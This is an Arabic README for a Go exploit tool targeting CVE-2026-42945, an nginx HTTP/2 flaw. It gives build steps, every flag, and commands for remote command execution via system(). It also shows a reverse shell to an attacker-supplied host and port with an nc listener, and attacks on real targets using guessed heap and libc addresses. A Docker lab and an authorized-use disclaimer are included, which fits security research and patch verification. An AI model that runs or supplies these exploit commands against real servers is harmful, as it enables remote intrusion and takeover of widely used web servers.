
أداة PoC مبنية على Go لـ CVE-2026-42945 (nginx HTTP/2) مع إمكانيات الكشف، فحص التعطل، تنفيذ الأوامر، والقشرة العكسية في بيئات مصرح بها.
الصينية | English
أداة مساعدة للكشف والاستغلال لـ تنفيذ nginx HTTP/2 (CVE-2026-42945)، تُستخدم للتحقق من وجود الثغرة في بيئة مرخصة، ومقارنة تأثير التصحيحات، وإعادة إنتاج سلوك PoC في بيئة تجريبية مسيطر عليها.
الإصدارات المتأثرة (تقدير أولي): nginx 0.6.27 – 1.30.0؛ تم إصلاحها في 1.30.1+ / 1.31.0+.
هذا المستودع مخصص فقط للبحث الأمني، والتحقق من الثغرات، والاختبار الدفاعي.
إذا كنت لا توافق على الشروط المذكورة أعلاه، فيرجى التوقف عن الاستخدام فورًا وحذف هذا المستودع.
go.mod)make، golangci-lint (تطوير/فحص الكود)GET /api/، POST /spray إلخ)؛ تم تضمين صور Docker التجريبية بالفعل# بناء سريع (الإخراج إلى bin/، تم تجاهله بواسطة .gitignore)
make build-cmd
# أو استخدم go مباشرة
go build -o ./bin/cve-2026-42945 ./cmd
# عرض الإصدار المضمن
./bin/cve-2026-42945 -version
الملفات الثنائية للإصدار: قم بتنزيل cve-2026-42945-<os>-<arch> المناسب لمنصتك من Releases (يتم بناؤها تلقائيًا بواسطة GitHub Actions بعد دفع وسم v*).
-target string الهدف IP/اسم المضيف (افتراضي 127.0.0.1)
-port int منفذ الهدف (0=80؛ إصدار Docker الثغري غالبًا 19321)
-docker اختبار بيئة Docker التجريبية المحلية (vuln:19321, fixed:19331)
-check-only كشف فقط، لا ترسل حركة استغلال
-probe-crash فحص تجاوز + قناة جانبية لتعطل worker
-cmd string أمر يتم تنفيذه عبر system()
-shell شل عكسي (يتطلب -lhost)
-lhost string IP المحلي للشل العكسي
-lport int المنفذ المحلي للشل العكسي (افتراضي 4444)
-docker-profile استخدام deploy/docker لقياس عنوان heap/libc الفعلي
-heap-base string عنوان قاعدة heap (ست عشري، مثل 0x555555659000)
-libc-base string عنوان قاعدة libc (ست عشري)
-tries int عدد المحاولات لكل مرشح heap (افتراضي 10)
-timeout int مهلة HTTP بالثواني (افتراضي 5)
-v إخراج مفصل
-version عرض الإصدار والخروج
وضع
-dockerلا يمكن استخدامه مع-cmd/-shell؛ للاستغلال ضد هدف واحد، حدد-port 19321.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
ابدأ حاويات التجربة أولاً:
make docker-up
# أو
docker compose -f deploy/docker-compose.yml up -d --build
البناء الأولي يتطلب تجميع nginx، قد يستغرق عدة دقائق؛ بعد أن تصبح الخدمات
healthyفيdocker compose ps، قم بتشغيلmake test-lab.
| الخدمة | المنفذ | الوصف |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (متأثر) |
| fixed | 19331 | nginx 1.30.1 (مُصلَح) |
اختبار الدفعة:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
أو استخدم أهداف Makefile السريعة:
make test-lab # فحص + استكشاف
make cmd-exploit # كتابة /tmp/pwned على vuln وطلب التحقق من الأمر
تكون حاويات التجربة ذات أعلى معدل نجاح عندما يكون ASLR معطلاً (setarch -R) ويتم استخدام -docker-profile مع العناوين الأساسية المحددة مسبقًا:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# التحقق من كتابة الملف
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# المحطة 1: تشغيل الأداة (ستحاول الاستماع عبر nc في الخلفية)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# إذا لم يتم العثور على nc، افتح محطة أخرى واستمع يدويًا:
nc -lvnp 4444
عندما يختلف ASLR الهدف الحقيقي وإصدار libc عن Docker، يجب كشف أو تخمين العناوين الأساسية بنفسك:
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] قناة جانبية: worker غير طبيعي: يشير فقط إلى أن worker قد تعطل بسبب تجاوز، لا يمكن استخدامه بمفرده كدليل على نجاح RCE.docker exec إلخ).cmd/ نقطة الدخول الرئيسية
internal/rift/ منطق الكشف، بناء الحمولة، والاستغلال
deploy/docker/ صور تجريبية nginx 1.30.0 / 1.30.1
deploy/docker-compose.yml
.github/workflows/ بناء الإصدارات لمنصات متعددة
make help # عرض جميع أهداف make
make test # اختبارات الوحدة
make lint # golangci-lint
make version # عرض رقم إصدار البناء الحالي
نشر إصدار جديد:
git tag v1.0.0
git push origin v1.0.0
استخدم هذه الأداة فقط على الأنظمة التي لديك الحق في اختبارها. أي إساءة استخدام لا علاقة لها بالمؤلف.
| الوضع | الوصف |
|---|
-check-only | الاتصالات، رأس Server، تقدير أولي للإصدار، كشف نقاط نهاية PoC |
-probe-crash | إرسال جولة فحص تجاوز، الحكم من خلال قناة جانبية لتعطل worker |
-cmd | بناء حمولة exploit، تنفيذ الأمر المحدد عبر system() |
-shell | شل عكسي (يتطلب -lhost، الجهاز المحلي يحتاج nc) |
-docker | اختبار دفعة لبيئة Docker التجريبية المحلية (vuln / fixed) |
| العنصر | الوصف |
|---|
| البروتوكول | يدعم فقط HTTP النصي (net.Dial + بايتات HTTP أولية)، لا يدعم HTTPS/TLS. بالنسبة لمنافذ TLS مثل -port 443، يلزم إنهاء TLS مسبقًا أو استخدام منفذ HTTP. |
| تجربة Docker | الصورة هي linux/amd64، أول مرة docker compose build تتطلب تجميع nginx من المصدر، قد يستغرق وقتًا طويلاً؛ داخل الحاوية يستخدم setarch -R لإيقاف ASLR، مما يختلف كثيرًا عن بيئة الإنتاج. |
| Apple Silicon | Docker المحلي يعمل عبر المحاكاة باستخدام platform: linux/amd64، بطيء. |
| شل عكسي | -shell يعتمد على nc النظام، يُوصى بالمراقبة اليدوية على Windows. |
| حكم الاستغلال | القناة الجانبية (تعطل worker) لا تعني RCE، يجب التحقق المستقل من الآثار الجانبية للأوامر. |